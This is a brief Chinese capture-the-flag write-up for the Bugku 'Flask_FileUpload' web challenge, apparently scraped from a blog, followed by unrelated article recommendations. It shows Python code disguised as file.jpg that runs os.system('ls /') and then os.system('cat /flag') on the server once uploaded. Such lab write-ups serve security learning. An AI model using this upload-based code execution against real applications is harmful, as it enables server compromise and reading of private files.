Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
脉动数据行情2 分钟前
Python WebSocket 实现融通金实时行情监听
开发语言·python·websocket
only-qi2 分钟前
Python Agent 开发速通清单
开发语言·python
小蒜学长7 分钟前
基于Django的社区团购购物平台的设计与实现(代码+数据库+LW)
数据库·后端·python·django
灯澜忆梦7 分钟前
【基于GO的Web开发9】gin框架返回json
前端·后端·golang·gin
AC赳赳老秦10 分钟前
个保法下数据处理:OpenClaw 自动过滤公开数据中的个人信息,保障采集分析合规性
java·python·sqlite·json·php·deepseek·openclaw
IMPYLH12 分钟前
HTML 的 <ins> 元素
前端·javascript·html
kymjs张涛14 分钟前
DeepSeek Harness源码分析:非 AI 开发者的 Agent 学习总结
前端·后端·面试
Dovis(誓平步青云)14 分钟前
番茄钟真正难的不是倒计时:启动、暂停、重置与页面销毁
android·服务器·前端
一千柯橘17 分钟前
了解 dev-tools 不同的 debug 模式
前端
晨米酱17 分钟前
Umi Mock 如何从文件声明变成 HTTP 响应
前端·javascript·设计